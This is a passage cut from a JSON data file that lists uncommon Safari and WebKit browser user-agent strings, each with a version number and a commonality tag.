OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F61 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) Designer Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Safari Mac\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit\\/601.1.17 (KHTML, like Gecko) Version\\/8.0 Mobile\\/13A175 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1 MXiOS\\/4.8.7.60\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/521.25 (KHTML, like Gecko) Safari\\/521.24\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/10.1 Mobile\\/15B93 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/604.1.19 (KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.19\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit\\/537.78.2 (KHTML like Gecko) Version\\/7.0.6 Safari\\/537.78.2\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5231a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5345a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit\\/534.15+ (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) Otter\\/0.1.01 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.27+ (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/602.1.39 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.5\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit\\/537.77.4 (KHTML like Gecko) Version\\/7.0.5 Safari\\/537.77.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Stainless\\/0.8 like Version\\/5.1 Safari\\/534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D100 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit\\/604.4.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5092b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; en_US) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Dreamweaver\\/12.0.0.5808 Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.1.2 Mobile\\/14C92 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B5097d Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.40 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.40\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/602.1.31 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/603.1.6 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.6\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/534.57.7 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0; managedpc) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.2 Safari\\/533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.4.5; U; en-US) AppleWebKit\\/532.2 (KHTML, like Gecko) Version\\/1.0 Safari\\/532.2 Pre\\/1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"\\\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25\\\"\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_3 like Mac OS X; en-US) AppleWebKit\\/535.16.10 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C28a Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; chromeframe\\/24.0.1312.57) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; de-de) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G57 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; ru-ru) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B5119e Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5277a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/9.0 Safari\\/600.7.12\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E304 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Phone; U; CPU like Mac OS X; en-gb) AppleWebKit\\/532+ (KHTML, like Gecko) Version\\/11.0 Mobile\\/1A538b Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/8.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_7_3; en_US) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.3.2 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.2\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) fancybrowser Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/602.1.33 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/601.7.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; tr-tr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko, Safari\\/6534.59.10) ADM\\/763\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46.60.1 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"11.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.2 Safari\\/605.1.15\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_4 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8K2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit\\/523.10.3 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B87 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/601.4.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B314 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5225a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.26.17 (KHTML, like Gecko) Version\\/6.0.2 Safari\\/536.26.17,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) demobrowser\\/0.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.28 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5318g Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/536.30.1 (KHTML, like Gecko, Safari\\/8536.30.1) ADM\\/763\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/602.1.35 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Mobile\\/13G36 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5214d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5269a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone) AppleWebKit (KHTML, like Gecko) Mobile Safari\\/jtrip-app-1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/603.1.20 (KHTML, like Gecko) Safari\\/603.1.20\"},{\"commonality\":\"Uncommon\",\"version\":\"11.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/11.2.2 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5057a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.8.0.0 Mobile\\/15C202 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) python Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit\\/531.22.7 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_9 rv:5.0; ar-ae)  AppleWebKit\\/537.2.1 (KHTML, like Gecko) Version\\/6.0.4 Safari\\/537.2.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) CasperJS\\/1.1.4+PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/604.1.6 (KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.6\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_12_6 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/603.1.3 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C92 Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5335b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1 AlohaBrowser\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.1.39 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.39\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.43 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5322e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU 0S 5_0_1 like Mac OS X) AppleWebkit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko)  Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.3 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; it-it) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; ar) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.1.7 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1     this is fake UA, get mad to the dev @EmojiDesu\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F65 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.7 (KHTML, like Gecko) Version\\/11.00 Safari\\/601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.25 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5304i Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.2 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.5.71150 Mobile\\/11B554a Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) webinfo7 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/535.2 (KHTML, like Gecko) Safari\\/535.2 wke\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5191d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; fr-fr) AppleWebKit\\/531.22.7 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 